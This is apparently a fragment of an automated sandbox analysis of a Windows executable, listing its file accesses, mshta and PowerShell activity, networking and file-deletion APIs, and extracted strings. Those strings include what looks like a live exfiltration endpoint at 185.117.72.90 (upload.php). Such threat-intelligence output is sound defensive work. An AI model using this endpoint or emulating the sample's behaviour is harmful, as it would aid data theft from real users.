"C:\api-ms-win-crt-filesystem-l1-1-0.dll" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\api-ms-win-crt-time-l1-1-0.dll"4a:Ta72,"5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.ENU" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.EN" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe.Local\" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\5ACD0B023BD7DA111DC456B74894AF78E3355C4ED8A7E87FAB9068E70FBC2268.ENU" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\5ACD0B023BD7DA111DC456B74894AF78E3355C4ED8A7E87FAB9068E70FBC2268.EN" "5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268.exe" trying to access non-existent file "C:\5ACD0B023BD7DA111DC456B74894AF78E3355C4ED8A7E87FAB9068E70FBC2268.EXE.LOCAL" "mshta.exe" trying to access non-existent file "C:\Windows\system32\mshta.exe.Local\" "mshta.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\system32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.Local\" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\PackageManagement.psm1"4b:T120e,Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005964-00000C2C-214760757") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005964-00000C2C-214760901") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00005964-00000C2C-214760966") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00005964-00000C2C-214761098") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00005964-00000C2C-214761171") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005964-00000C2C-215106814") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")4c:T534,Found reference to API "FindNextUrlCacheEntryA" (Indicator: "FindNextUrlCacheEntry"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "FindFirstUrlCacheEntryA" (Indicator: "FindFirstUrlCacheEntry"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")4d:T12e3,Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; Source: "00000000-00005964-00000C2C-215106647") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00005964-00000C2C-215106724") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005964-00000C2C-215106814") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; Source: "00000000-00005964-00000C2C-215106880") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; Source: "00000000-00005964-00000C2C-215106948") Found reference to API "inet_addr" (Indicator: "inet_addr"; Source: "00000000-00005964-00000C2C-215107376") Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "inet_addr" (Indicator: "inet_addr"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "AUTHUI.DLL: Shutdown Choices Message Window" (Indicator: " shutdown "; Source: "00000000-00005964.00000000.77427.00850000.00000002.mdmp, 00000000-00005964.00000001.79349.00850000.00000002.mdmp, 00000000-00005964.00000002.81275.00850000.00000002.mdmp")4e:T769,"192.168.0.2" Potential IP "185.117.72.90" found in string "DD1D:1:DD1DDD2D:1:DD2DDD3D:1:DD3DDD4D:1:DD4DDD5D:0:DD5DDD6D:1:DD6DDD7D:1:DD7DDD8D:1:DD8DDD9D:1:DD9DDD10D:1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al" Potential IP "185.117.72.90" found in string "http://185.117.72.90/upload2.php" Potential IP "185.117.72.90" found in string "http://185.117.72.90/upload.php" Potential IP "185.117.72.90" found in string "1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al" Potential IP "185.117.72.90" found in string "D10D:1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "0DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "D11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al::mainanti" Potential IP "185.117.72.90" found in string "l:http://185.117.72.90/upload.php:al::mainanti" "2.0.6.4" Potential IP "185.117.72.90" found in string "0:DD5DDD6D:1:DD6DDD7D:1:DD7DDD8D:1:DD8DDD9D:1:DD9DDD10D:1:DD10DDD11D:0:DD11DDD12D:1:DD12DDD13D:1:DD13DDD14D:1:DD14DDD15D:1:DD15DDD16D:1:DD16DDD17D:0:DD17Dal:http://185.117.72.90/upload.php:al"4f:T8cb,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\* (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter 36eaccfde177c2e7b93b8dbdde4e012a (UID: 00000000-00003436) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\Microsoft.Pb378ec07#\* (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter d254c63bedcb76c81c3125bd527b7d1a (UID: 00000000-00003436) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\* (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter 0b2f69b43a576b9edcc807a30872bd91 (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter 2c3c912ea8f058f9d04c4650128feb3f (UID: 00000000-00003436) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\* (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter 31fae3290fad30c31c98651462d22724 (UID: 00000000-00003436) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\* (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter 73a1a80aed03e789a49cec899b7505dd (UID: 00000000-00003436) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Data\* (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter b9463297e0537784be981f4d68498abc (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter df2dd09ed7c341842a104e1e668f184e (UID: 00000000-00003436) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Xml\* (UID: 00000000-00003436) "powershell.exe" called "FindNextFileW" with parameter 15af16d373cf0528cb74fc73d365fdbf (UID: 00000000-00003436) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Management\* (UID: 00000000-00003436)50:T16ad,Found string "\Device\HarddiskVolume2\Windows\Temp\59E30CA1-E24D-49CF-8101-CFA9302D9573\DismHost.exe" (Indicator: "\Device\"; Source: "00000000-00002164.00000000.83063.002A0000.00000004.mdmp, 00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp, 00000000-00002164.00000002.85189.002EA000.00000004.mdmp") Found string ":\Windows\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp, 00000000-00002164.00000002.85189.002EA000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vm3d.inf_x86_neutral_abfe51358467898f\vm3d.inf" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infpub.dat" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstor.dat" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\infstrng.dat" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\drvindex.dat" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\vm3d.inf_x86_neutral_abfe51358467898f" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\system32\drivers\pvscsi.sys" (Indicator: "\drivers\"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string ":\Windows\system32\drivers\pvscsi.sys" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "IsDriverPackageSigned: File [C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf] is signed by a catalog [C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.cat]" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp-stats.sys" (Indicator: "\drivers\"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp-stats.sys" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp_loader.sys" (Indicator: "\drivers\"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp_loader.sys" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp.sys" (Indicator: "\drivers\"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp.sys" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp-debug.sys" (Indicator: "\drivers\"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\vm3dmp-debug.sys" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "Building driver collection for package 'C:\Windows\System32\DriverStore\FileRepository\vm3d.inf_x86_neutral_abfe51358467898f\vm3d.inf'." (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "PID=2164 Building driver collection for package 'C:\Windows\System32\DriverStore\FileRepository\vm3d.inf_x86_neutral_abfe51358467898f\vm3d.inf'. - CDriverPackage::CreateDriverCollection" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp") Found string "PID=2164 Signature status of driver C:\Windows\System32\DriverStore\FileRepository\pvscsi.inf_x86_neutral_2e237bca5c8036a7\pvscsi.inf is: SIGNED - CDriverPackage::InitSignatureStatus" (Indicator: "system32\drivers"; Source: "00000000-00002164.00000001.84984.002A0000.00000004.mdmp")51:T510,Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00005964.00000000.77427.00550000.00000040.mdmp, 00000000-00005964.00000000.77427.01450000.00000004.mdmp, 00000000-00005964.00000000.77427.018B0000.00000004.mdmp, 00000000-00005964.00000001.79349.00550000.00000040.mdmp, 00000000-00005964.00000001.79349.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.00550000.00000040.mdmp, 00000000-00005964.00000002.81275.01450000.00000004.mdmp, 00000000-00005964.00000002.81275.01908000.00000004.mdmp, 00000000-00005964.00000003.86793.00550000.00000040.mdmp, 00000000-00005964.00000003.86793.01450000.00000004.mdmp")52:T19ab,Observed import api "AddAccessAllowedAce" which can "add an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "DeleteAce" which can "delete an access control entry (ACE) from an access control list (ACL)" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "EqualSid" which can "test two security identifier (SID) values for equality" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "GetAce" which can "obtain a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "GetKernelObjectSecurity" which can "retrieve a copy of the security descriptor that protects a kernel object" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "IsValidAcl" which can "validate an access control list (ACL)" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "IsValidSecurityDescriptor" which can "determine whether the components of a security descriptor are valid" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "IsValidSid" which can "validate a security identifier (SID) by verifying that the revision number is within a known range and that the number of subauthorities is less than the maximum" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "MakeAbsoluteSD" which can "create a security descriptor in absolute format by using a security descriptor in self-relative format as a template" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "MapGenericMask" which can "map the generic access rights in an access mask to specific and standard access rights" [Source: 5acd0b023bd7da111dc456b74894af78e3355c4ed8a7e87fab9068e70fbc2268] Observed import api "AddAce" which can "add one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "CopySid" which can "copy a security identifier (SID) to a buffer" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetAclInformation" which can "retrieve information about an access control list (ACL)" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetLengthSid" which can "return the length in bytes of a valid security identifier (SID)" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetSecurityDescriptorControl" which can "retrieve a security descriptor control and revision information" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetSecurityDescriptorDacl" which can "retrieve a pointer to the discretionary access control list (DACL) in a specified security descriptor" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetSecurityDescriptorGroup" which can "retrieve the primary group information from a security descriptor" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetSecurityDescriptorOwner" which can "retrieve the owner information from a security descriptor" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetSecurityDescriptorSacl" which can "retrieve a pointer to the system access control list (SACL) in a specified security descriptor" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetSidLengthRequired" which can "return the length, in bytes, of the buffer required to store a SID with a specified number of subauthorities" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "GetSidSubAuthority" which can "return a pointer to a specified subauthority in a security identifier (SID)" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "InitializeAcl" which can "initialize a new ACL structure" [Source: DISMHOST.EXE.6C8DE937.bin] Observed import api "InitializeSecurityDescriptor" which can "initialize a new security descriptor" [Source: 